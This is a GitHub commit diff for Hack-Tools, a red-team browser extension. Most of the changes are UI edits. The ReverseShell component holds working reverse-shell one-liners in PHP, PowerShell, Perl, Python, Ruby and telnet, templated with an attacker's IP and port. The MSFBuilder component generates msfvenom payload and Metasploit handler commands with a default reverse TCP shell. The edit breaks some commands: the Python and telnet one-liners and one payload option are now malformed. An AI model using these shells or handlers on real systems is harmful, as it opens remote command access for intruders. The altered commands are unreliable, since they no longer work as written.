Skip to content

Commit 9ebe982

Browse files
authored
Merge pull request #98 from LasCC/features/edit-commands
Features/edit commands
2 parents 939e12f + 8edf99d commit 9ebe982

File tree

11 files changed

+100
-72
lines changed

11 files changed

+100
-72
lines changed

README.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,9 @@
1313
<img alt="Downloads" src="https://img.shields.io/github/downloads/LasCC/Hack-Tools/total.svg?style=for-the-badge" />
1414
<img alt="commit" src="https://img.shields.io/github/last-commit/LasCC/Hack-Tools?style=for-the-badge" />
1515
<img alt="stars" src="https://img.shields.io/github/stars/LasCC/Hack-Tools?style=social" />
16+
<a href="https://lgtm.com/projects/g/LasCC/Hack-Tools/context:javascript">
17+
<img alt="Language grade: JavaScript" src="https://img.shields.io/lgtm/grade/javascript/g/LasCC/Hack-Tools.svg?logo=lgtm&logoWidth=18"/>
18+
</a>
1619
</p>
1720
<p align="center">
1821
<a href="#the-all-in-one-red-team-browser-extension-for-web-pentesters"><b>Introduction</b></a>

package.json

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -26,9 +26,9 @@
2626
"webpack-dev-server": "^3.7.2"
2727
},
2828
"dependencies": {
29-
"@ant-design/icons": "4.5.0",
30-
"antd": "4.13.1",
31-
"antd-mask-input": "0.1.14",
29+
"@ant-design/icons": "4.6.2",
30+
"antd": "4.15.1",
31+
"antd-mask-input": "0.1.15",
3232
"crypto-js": "^4.0.0",
3333
"pretty": "^2.0.0",
3434
"rc-queue-anim": "1.8.5",

src/assets/css/style.css

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,7 @@
2727
}
2828

2929
.site-layout .site-layout-background {
30-
background: #141414 !important;
30+
background: #0f0f0f !important;
3131
border-radius: 10px;
3232
}
3333
.ant-menu-inline .ant-menu-item:not(:last-child),

src/components/AboutUs.js

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
import React from 'react';
2-
import { Typography, Divider, Button } from 'antd';
2+
import { Typography, Divider } from 'antd';
33
import QueueAnim from 'rc-queue-anim';
44

55
const { Title, Paragraph } = Typography;

src/components/LayoutApp.js

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -200,7 +200,7 @@ export default (props) => {
200200
<Paragraph style={{ textAlign: 'center' }}>Ludovic COULON - Riadh BOUCHAHOUA</Paragraph>
201201
<pre style={{ textAlign: 'center' }}>HackTools Version - 0.3.6</pre>
202202
<Button icon={<FullscreenOutlined style={{ margin: 5 }} />} type='link'>
203-
<a href={target} target='_blank'>
203+
<a href={target} rel='noreferrer noopener' target='_blank'>
204204
Fullscreen mode
205205
</a>
206206
</Button>

src/components/Linux_Shell/MSFBuilder.js

Lines changed: 37 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
import React from 'react';
2-
import { Input, Typography, Row, Divider, Select, Form, Col, Collapse } from 'antd';
2+
import { Input, message, Typography, Row, Divider, Select, Form, Col, Collapse } from 'antd';
33
import PersistedState from 'use-persisted-state';
44
import QueueAnim from 'rc-queue-anim';
55

@@ -12,26 +12,32 @@ const MSFBuilder = () => {
1212
// Antd stuff
1313
const { Option } = Select;
1414
const { Panel } = Collapse;
15+
const { Text } = Typography;
16+
const successInfoTtyShell = () => {
17+
message.success('Your payload has been copied');
18+
};
1519

1620
let payloads = require('../../assets/data/Payloads.json');
1721
let encoder = require('../../assets/data/Encoder.json');
1822
let platform = require('../../assets/data/Platform.json');
1923
let format = require('../../assets/data/Format.json');
2024

2125
const [ values, setValues ] = msfVenomBuilder({
22-
Payload: undefined,
23-
LHOST: undefined,
24-
LPORT: undefined,
25-
Encoder: undefined,
26-
EncoderIterations: undefined,
27-
Platform: undefined,
28-
Arch: undefined,
29-
NOP: undefined,
30-
BadCharacters: undefined,
31-
Format: undefined,
32-
Outfile: undefined
26+
Payload: 'generic/shell_reverse_tcp',
27+
LHOST: '10.10.13.37',
28+
LPORT: '4444',
29+
Encoder: null,
30+
EncoderIterations: null,
31+
Platform: null,
32+
Arch: null,
33+
NOP: null,
34+
BadCharacters: null,
35+
Format: null,
36+
Outfile: null
3337
});
3438

39+
const launchCommand = `msfconsole -qx "use exploit/multi/handler; set PAYLOAD ${values.Payload}; set LHOST ${values.LHOST}; set LPORT ${values.LPORT}; run"`;
40+
3541
const handleChange = (name) => (event) => {
3642
setValues({ ...values, [name]: event.target.value });
3743
};
@@ -183,7 +189,7 @@ const MSFBuilder = () => {
183189
/>
184190
</Form.Item>
185191
<Row gutter={{ xs: 8, sm: 16, md: 24, lg: 32 }}>
186-
<Col span={12}>
192+
<Col span={9}>
187193
<Form.Item valuePropName={values.Format} name='format' label='Format'>
188194
<Select
189195
showSearch
@@ -201,7 +207,7 @@ const MSFBuilder = () => {
201207
</Select>
202208
</Form.Item>
203209
</Col>
204-
<Col span={12}>
210+
<Col span={15}>
205211
<Form.Item valuePropName={values.Outfile} name='outfile' label='Output File'>
206212
<Input
207213
value={values.Outfile}
@@ -216,35 +222,39 @@ const MSFBuilder = () => {
216222
<Panel header='MSF Venom Command' key='1'>
217223
<Paragraph>
218224
<pre>
219-
msfvenom -p {values.Payload}
220-
{values.LHOST > '' && ' LHOST=' + values.LHOST}
221-
{values.LPORT > '' && ' LPORT=' + values.LPORT}
222-
{values.Platform > '' && ' --platform ' + values.Platform}
223-
{values.Arch > '' && ' -a ' + values.Arch}
224-
{values.NOP > '' && ' -n ' + values.NOP}
225-
{values.Encoder > '' && ' -e ' + values.Encoder}
226-
{values.EncoderIterations > '' && ' -i ' + values.EncoderIterations}
227-
{values.BadCharacters > '' && ' -b ' + `"${values.BadCharacters}"`}
228-
{values.Format > '' && ' -f ' + values.Format}
229-
{values.Outfile > '' && ' -o ' + values.Outfile}
225+
<Text>
226+
msfvenom -p {values.Payload}
227+
{values.LHOST > '' && ' LHOST=' + values.LHOST}
228+
{values.LPORT > '' && ' LPORT=' + values.LPORT}
229+
{values.Platform > '' && ' --platform ' + values.Platform}
230+
{values.Arch > '' && ' -a ' + values.Arch}
231+
{values.NOP > '' && ' -n ' + values.NOP}
232+
{values.Encoder > '' && ' -e ' + values.Encoder}
233+
{values.EncoderIterations > '' && ' -i ' + values.EncoderIterations}
234+
{values.BadCharacters > '' && ' -b ' + `"{values.BadCharacters}"`}
235+
{values.Format > '' && ' -f ' + values.Format}
236+
{values.Outfile > '' && ' -o ' + values.Outfile}
237+
</Text>
230238
</pre>
231239
</Paragraph>
232240
</Panel>
233241
<Panel header='Launch Console & Load Handler' key='2'>
234242
<Paragraph>
235243
<pre>
236-
{`msfconsole -x "use exploit/multi/handler; set PAYLOAD ${values.Payload}; set LHOST ${values.LHOST}; set LPORT ${values.LPORT}; run"`}
244+
<Text copyable>{launchCommand}</Text>
237245
</pre>
238246
</Paragraph>
239247
</Panel>
240248
<Panel header='Load Handler Only' key='3'>
241249
<Paragraph>
242250
<pre>
243-
{`use exploit/multi/handler
251+
<Text copyable>
252+
{`use exploit/multi/handler
244253
set PAYLOAD ${values.Payload}
245254
set LHOST ${values.LHOST}
246255
set LPORT ${values.LPORT}
247256
run`}
257+
</Text>
248258
</pre>
249259
</Paragraph>
250260
</Panel>

src/components/Linux_Shell/ReverseShell.js

Lines changed: 10 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -30,14 +30,9 @@ export default (props) => {
3030
const php_rshell = `php -r '$sock=fsockopen(getenv("${values.ip}"),getenv("${values.port}"));exec("/bin/sh -i <&3 >&3 2>&3");'`;
3131
const PS_rshell = `powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('${values.ip}',${values.port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"`;
3232
const perl_rshell = `perl -e 'use Socket;$i="$ENV{${values.ip}}";$p=$ENV{${values.port}};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`;
33-
const python_rshell = `python -c 'import sys,socket,os,pty;s=socket.socket()
34-
s.connect((os.getenv("${values.ip}"),int(os.getenv("${values.port}"))))
35-
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
36-
pty.spawn("/bin/sh")'`;
33+
const python_rshell = `python -c 'import sys,socket,os,pty;s=socket.socket()s.connect((os.getenv("${values.ip}"),int(os.getenv("${values.port}"))))[os.dup2(s.fileno(),fd) for fd in (0,1,2)]pty.spawn("/bin/sh")'`;
3734
const ruby_rshell = `ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["${values.ip}"],ENV["${values.port}"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'`;
38-
const telnet_rshell = `TF=$(mktemp -u);
39-
mkfifo $TF && telnet ${values.ip} ${values.port} 0<$TF | /bin/sh 1>$TF
40-
`;
35+
const telnet_rshell = `TF=$(mktemp -u); mkfifo $TF && telnet ${values.ip} ${values.port} 0<$TF | /bin sh 1>$TF`;
4136

4237
return (
4338
<QueueAnim delay={300} duration={1500}>
@@ -77,7 +72,7 @@ export default (props) => {
7772
<Title level={3}>
7873
Bash <IconFont type='icon-gnubash' />
7974
</Title>
80-
<Paragraph copyable ellipsis={true}>
75+
<Paragraph copyable editable ellipsis={true}>
8176
{bash_rshell}
8277
</Paragraph>
8378
<Clipboard component='a' data-clipboard-text={bash_rshell}>
@@ -104,7 +99,7 @@ export default (props) => {
10499
<Title level={3}>
105100
Netcat <IconFont type='icon-command-line' />
106101
</Title>
107-
<Paragraph copyable ellipsis={true}>
102+
<Paragraph editable copyable ellipsis={true}>
108103
{netcat_rshell}
109104
</Paragraph>
110105
<Clipboard component='a' data-clipboard-text={netcat_rshell}>
@@ -137,7 +132,7 @@ export default (props) => {
137132
<Title level={3}>
138133
PHP <IconFont type='icon-php' />
139134
</Title>
140-
<Paragraph copyable ellipsis={true}>
135+
<Paragraph editable copyable ellipsis={true}>
141136
{php_rshell}
142137
</Paragraph>
143138
<Clipboard component='a' data-clipboard-text={php_rshell}>
@@ -166,7 +161,7 @@ export default (props) => {
166161
<Title level={3}>
167162
PowerShell <IconFont type='icon-powershell' />
168163
</Title>
169-
<Paragraph copyable ellipsis={true}>
164+
<Paragraph editable copyable ellipsis={true}>
170165
{PS_rshell}
171166
</Paragraph>
172167
<Clipboard component='a' data-clipboard-text={PS_rshell}>
@@ -199,7 +194,7 @@ export default (props) => {
199194
<Title level={3}>
200195
Perl <IconFont type='icon-perl' />
201196
</Title>
202-
<Paragraph copyable ellipsis={true}>
197+
<Paragraph editable copyable ellipsis={true}>
203198
{perl_rshell}
204199
</Paragraph>
205200
<Clipboard component='a' data-clipboard-text={perl_rshell}>
@@ -233,8 +228,7 @@ export default (props) => {
233228
<Title level={3}>
234229
Python <IconFont type='icon-python' />
235230
</Title>
236-
<Paragraph copyable ellipsis={true}>
237-
{' '}
231+
<Paragraph editable copyable ellipsis={true}>
238232
{python_rshell}
239233
</Paragraph>
240234
<Clipboard component='a' data-clipboard-text={python_rshell}>
@@ -268,7 +262,7 @@ export default (props) => {
268262
<Title level={3}>
269263
Ruby <IconFont type='icon-ruby' />
270264
</Title>
271-
<Paragraph copyable ellipsis={true}>
265+
<Paragraph editable copyable ellipsis={true}>
272266
{ruby_rshell}
273267
</Paragraph>
274268
<Clipboard component='a' data-clipboard-text={ruby_rshell}>
@@ -296,7 +290,7 @@ export default (props) => {
296290
<Title level={3}>
297291
Telnet <IconFont type='icon-lvzhou_yuanchengTelnet' />
298292
</Title>
299-
<Paragraph copyable ellipsis={true}>
293+
<Paragraph editable copyable ellipsis={true}>
300294
{telnet_rshell}
301295
</Paragraph>
302296
<Clipboard component='a' data-clipboard-text={telnet_rshell}>

src/components/Linux_Shell/TtySpawnShell.js

Lines changed: 39 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -30,8 +30,10 @@ export default (props) => {
3030
}}
3131
>
3232
<Title level={3}>Python spawn shell </Title>
33-
<Paragraph copyable>python -c 'import pty; pty.spawn("/bin/sh")'</Paragraph>
34-
<Clipboard component='a' data-clipboard-text={`python -c 'import pty; pty.spawn("/bin/sh")'`}>
33+
<Paragraph editable copyable>
34+
python -c 'import pty; pty.spawn("/bin/bash")'
35+
</Paragraph>
36+
<Clipboard component='a' data-clipboard-text={`python -c 'import pty; pty.spawn("/bin/bash")'`}>
3537
<Button type='primary' onClick={successInfoTtyShell} style={{ marginBottom: 10, marginTop: 15 }}>
3638
<CopyOutlined />
3739
Copy the TTY
@@ -49,21 +51,48 @@ export default (props) => {
4951
<Title level={3}>Fully Interactive TTY</Title>
5052
<Title level={4}>All the steps to stabilize your shell</Title>
5153
<Paragraph>
52-
<strong>The first step:</strong> <pre>python3 -c 'import pty;pty.spawn("/bin/bash")'</pre> Which
53-
uses Python to spawn a better-featured bash shell. At this point, our shell will look a bit
54+
<strong>The first step:</strong>
55+
<pre>
56+
<Paragraph style={{ margin: 0 }} copyable>
57+
python3 -c 'import pty;pty.spawn("/bin/bash")'
58+
</Paragraph>
59+
</pre>
60+
Which uses Python to spawn a better-featured bash shell. At this point, our shell will look a bit
5461
prettier, but we still won’t be able to use tab autocomplete or the arrow keys.
5562
</Paragraph>
5663
<br />
5764
<Paragraph>
58-
<strong>Step two is:</strong> <pre>export TERM=xterm</pre> This will give us access to term commands
59-
such as clear.
65+
<strong>Step two is:</strong>
66+
<pre>
67+
<Paragraph style={{ margin: 0 }} copyable>
68+
export TERM=xterm
69+
</Paragraph>
70+
</pre>
71+
This will give us access to term commands such as clear.
6072
</Paragraph>
6173
<br />
6274
<Paragraph>
63-
<strong>Finally (and most importantly) we will background the shell using</strong>{' '}
64-
<pre>Ctrl + Z</pre> Back in our own terminal we use <pre>stty raw -echo; fg</pre> This does two
65-
things: first, it turns off our own terminal echo which gives us access to tab autocompletes, the
66-
arrow keys, and Ctrl + C to kill processes
75+
<strong>Finally (and most importantly) we will background the shell using</strong>
76+
<pre>
77+
<Paragraph style={{ margin: 0 }} copyable>
78+
Ctrl + Z
79+
</Paragraph>
80+
</pre>
81+
Back in our own terminal we use
82+
<pre>
83+
<Paragraph style={{ margin: 0 }} copyable>
84+
stty raw -echo; fg
85+
</Paragraph>
86+
</pre>
87+
This does two things: first, it turns off our own terminal echo which gives us access to tab
88+
autocompletes, the arrow keys, and Ctrl + C to kill processes
89+
</Paragraph>
90+
<Paragraph>
91+
<pre>
92+
<Paragraph style={{ margin: 0 }} copyable>
93+
stty rows 38 columns 116
94+
</Paragraph>
95+
</pre>
6796
</Paragraph>
6897
</div>
6998
<Divider dashed />

src/components/encoding/Base64Encode.js

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -110,7 +110,7 @@ const Base64Encode = () => {
110110
<Button
111111
type='link'
112112
danger
113-
style={{ marginBottom: 10, marginTop: 15, marginLeft: 15, marginLeft: 15 }}
113+
style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}
114114
onClick={() => setOutput('')}
115115
>
116116
<ClearOutlined /> Clear

src/components/file_transfer/File_transfer.js

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
1-
import React, { useState } from 'react';
2-
import PersistedState from 'use-persisted-state';
1+
import React from 'react';
2+
import PersistedState from 'use-persisted-state';
33
import { Typography, Row, Col, Divider, Input } from 'antd';
44
import { WifiOutlined, createFromIconfontCN, FolderOutlined } from '@ant-design/icons';
55
import QueueAnim from 'rc-queue-anim';
@@ -52,7 +52,7 @@ export default (props) => {
5252
placeholder='IP Address or domain (ex: 212.212.111.222)'
5353
onChange={handleChange('ip')}
5454
value={values.ip}
55-
/>
55+
/>
5656
</Col>
5757
<Col span={8}>
5858
<Input
@@ -62,7 +62,7 @@ export default (props) => {
6262
placeholder='Port (ex: 1337)'
6363
onChange={handleChange('port')}
6464
value={values.port}
65-
/>
65+
/>
6666
</Col>
6767
<Col span={8}>
6868
<Input

0 commit comments

Comments
 (0)